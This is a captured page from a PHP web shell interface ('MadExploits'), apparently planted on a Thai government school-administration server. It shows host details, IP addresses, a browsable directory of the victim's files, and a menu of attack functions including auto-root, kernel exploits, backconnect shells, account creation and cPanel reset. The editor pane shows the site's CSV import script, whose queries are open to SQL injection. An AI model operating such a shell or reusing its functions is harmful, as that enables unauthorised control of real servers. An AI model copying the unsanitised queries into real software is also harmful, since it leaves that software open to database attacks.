Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
achievement /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
add_score_1.php
9.99
KB
-rwxr-xr-x
add_score_2.php
10.23
KB
-rwxr-xr-x
add_score_3.php
11.14
KB
-rwxr-xr-x
getxml_onet.php
6.86
KB
-rwxr-xr-x
livesearch.php
778
B
-rwxr-xr-x
permission.php
9.65
KB
-rwxr-xr-x
report1.php
9.17
KB
-rwxr-xr-x
report11.php
10.97
KB
-rwxr-xr-x
report1_1.php
8.89
KB
-rwxr-xr-x
report1_1_mobile.php
7.08
KB
-rw-r--r--
report1_2.php
12.3
KB
-rwxr-xr-x
report2.php
6.09
KB
-rwxr-xr-x
report21.php
8.62
KB
-rwxr-xr-x
report2_1.php
6.54
KB
-rwxr-xr-x
report2_2.php
5.26
KB
-rwxr-xr-x
report3.php
6.09
KB
-rwxr-xr-x
report31.php
8.63
KB
-rwxr-xr-x
report3_1.php
6.55
KB
-rwxr-xr-x
report3_2.php
5.26
KB
-rwxr-xr-x
report4.php
9.62
KB
-rwxr-xr-x
report41.php
11.64
KB
-rwxr-xr-x
report4_1.php
10.09
KB
-rw-r--r--
report4_1_mobile.php
8.61
KB
-rw-r--r--
report4_2.php
10.56
KB
-rw-r--r--
report5.php
6.09
KB
-rwxr-xr-x
report51.php
8.62
KB
-rwxr-xr-x
report5_1.php
6.54
KB
-rwxr-xr-x
report5_2.php
5.26
KB
-rwxr-xr-x
report6.php
18.25
KB
-rwxr-xr-x
report61.php
19.65
KB
-rwxr-xr-x
report6_1.php
18.52
KB
-rw-r--r--
report6_1_mobile.php
9.04
KB
-rw-r--r--
report6_2.php
13.14
KB
-rw-r--r--
report7.php
6.09
KB
-rwxr-xr-x
report71.php
8.62
KB
-rwxr-xr-x
report7_1.php
6.54
KB
-rwxr-xr-x
report7_2.php
5.26
KB
-rwxr-xr-x
report_nt.php
9.3
KB
-rw-r--r--
report_nt_group.php
7.84
KB
-rw-r--r--
report_onet.php
10.99
KB
-rw-r--r--
report_onet_group.php
12.21
KB
-rw-r--r--
report_onet_xx.php
7.88
KB
-rw-r--r--
test_import.php
6.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_import.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); //sd page $rec_date = date("Y-m-d"); $officer=$_SESSION['login_user_id']; if($_FILES){ if($_FILES['userfile']['name']==""){ ?> <script> alert("กรุณาเลือกไฟล์ด้วย ค่ะ"); document.location.href="?option=achievement&task=main/test_import"; </script> <?php exit(); } // ตรวจสอบว่าเป็น csv file หรือไม่ $uploaddir ="modules/achievement/upload_files/"; //ที่เก็บไฟล์ $uploadfile = $uploaddir.basename($_FILES['userfile']['name']); $basename = basename($_FILES['userfile']['name']); //ลบไฟล์เดิม if(file_exists($uploadfile)){ unlink($uploadfile); } $surname = explode(".", $_FILES['userfile']['name']); $school_code=explode("_",$surname[0]); $file_name = explode("_", $_FILES['userfile']['name']); //ตรวจสอบนามสกุล if($surname[1]!="csv"){ unlink($_FILES['userfile']['tmp_name']); ?> <script> alert("ไม่ใช่ ไฟล์ประเภท CSV กรุณาอ่านคำอธิบายอีกครั้ง"); document.location.href="?option=achievement&task=main/test_import"; </script> <?php exit(); } if (move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){ $changed_name=$uploaddir.$basename; rename("$uploadfile" , "$changed_name"); ////ส่วนอ่านไฟล์และบันทึก $objCSV = fopen("$changed_name", "r"); while (($objArr = fgetcsv($objCSV, 1000, ",")) !== FALSE) { $test_index[]=$objArr[0]; $class_index[]=$objArr[1]; $edyear_index[]=$objArr[2]; $sql_find = "select * from achievement_main where test_type='$objArr[0]' and test_class='$objArr[1]' and ed_year='$objArr[2]' and school='$objArr[3]' "; $dbquery_find = mysqli_query($connect,$sql_find); $num_row=mysqli_num_rows($dbquery_find); if($num_row>=1){ $sql_del = "delete from achievement_main where test_type='$objArr[0]' and test_class='$objArr[1]' and ed_year='$objArr[2]' and school='$objArr[3]' "; $dbquery_del = mysqli_query($connect,$sql_del); } $sql = "insert into achievement_main (test_type,test_class,ed_year,school,thai,math,science,social,english,health,art,vocation,score_avg,officer,rec_date,student_num"; $sql .=")"; $sql .=" values ('$objArr[0]','$objArr[1]','$objArr[2]','$objArr[3]','$objArr[4]','$objArr[5]','$objArr[6]','$objArr[7]','$objArr[8]','$objArr[9]','$objArr[10]','$objArr[11]','$objArr[12]','$officer','$rec_date','$objArr[13]' "; $sql .=")"; $dbquery = mysqli_query($connect,$sql); } fclose($objCSV); ////end } else{ echo "<br><strong><font color=#990000 size=3>ไม่สามารถอัพโหลดได้</font></strong>"; exit(); } if($test_index[0]==1){ echo "<script>document.location.href='?option=achievement&task=main/add_score_1&index=1&ed_year=$edyear_index[0]&test_class=$class_index[0]';</script>\n"; } else if($test_index[0]==2){ echo "<script>document.location.href='?option=achievement&task=main/add_score_2&index=1&ed_year=$edyear_index[0]&test_class=$class_index[0]';</script>\n"; } else if($test_index[0]==3){ echo "<script>document.location.href='?option=achievement&task=main/add_score_3&index=1&ed_year=$edyear_index[0]&test_class=$class_index[0]';</script>\n"; } } else{ uploadfile(); } //ส่วนของform function uploadfile () { echo "<form name ='frm1' Enctype = 'multipart/form-data'>"; echo "<br>"; echo "<table align='center' width='50%' border='0'>"; echo "<tr>"; echo "<td align='right'><strong><font color='#003366' size='2'>ไฟล์เอกสาร</font></strong></td>"; echo "<td align='left'><input name = 'userfile' type = 'file'><font color='#003366' size='2'></font></td>"; echo "</tr>"; echo "<tr><td></td><td></td></tr> "; echo "<tr> "; echo "<td></td><td align = 'left'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='upload(1)' class='entrybutton'></td>"; echo "</tr>"; echo "</table>"; echo "<br /><br /><br />"; echo "<table width=70% border=0 align=center>"; echo "<Tr><Td align='left'><strong>คำอธิบาย</strong></Td></Tr>"; echo "<Tr><Td align='left'>1. ข้อมูลที่จะนำเข้าเป็นไฟล์ประเภท CSV (comma delimited) ซึ่งได้จากการแปลงไฟล์ EXCEL </Td></Tr>"; echo "<Tr><Td align='left'>2. ไฟล์ที่จะนำเข้าต้องไม่มีหัวสดมภ์ </Td></Tr>"; echo "<Tr><Td align='left'>3. สดมภ์ที่ 1 เป็นรหัสประเภทข้อสอบ โดยให้ข้อสอบ O-NET มีรหัสเท่ากับ 1 ข้อสอบ NT มีรหัสเท่ากับ 2 </Td></Tr>"; echo "<Tr><Td align='left'>4. สดมภ์ที่ 2 เป็นรหัสชั้นเริ่มที่ ป1=1 จนถึง ม.6 เท่ากับ 12 </Td></Tr>"; echo "<Tr><Td align='left'>5. สดมภ์ที่ 3 เป็นปีการศึกษา สดมภ์ที่ 4 เป็นรหัสโรงเรียน</Td></Tr>"; echo "<Tr><Td align='left'>6. สดมภ์ที่ 5-13 เป็นค่าคะแนน ลำดับดังนี้ ภาษาไทย คณิตศาสตร์ วิทยาศาสตร์ สังคมศึกษา ภาษาอังกฤษ สุขศึกษา ศิลปะ การงาน และคะแนนเฉลี่ยทั้ง8กลุ่มสาระ</Td></Tr>"; echo "<Tr><Td align='left'>7. กรณีเป็น NT สดมภ์ที่ 5-7 เป็นค่าคะแนน ลำดับดังนี้ ความสามารถด้านภาษา ความสามารถด้านคำนวณ ความสามารถด้านเหตุผล สดมภ์ที่ 13 เป็นคะแนนเฉลี่ย</Td></Tr>"; echo "<Tr><Td align='left'>8. สดมภ์ที่ 14 เป็นจำนวนนักเรียน</Td></Tr>"; echo "<Tr><Td align='left'>9. ตัวอย่างไฟล์ Download ได้ที่เมนูคู่มือ</Td></Tr>"; echo "</Table>"; } ?> <script> function upload(val){ if(val==1){ callfrm("?option=achievement&task=main/test_import"); } } </script>
Close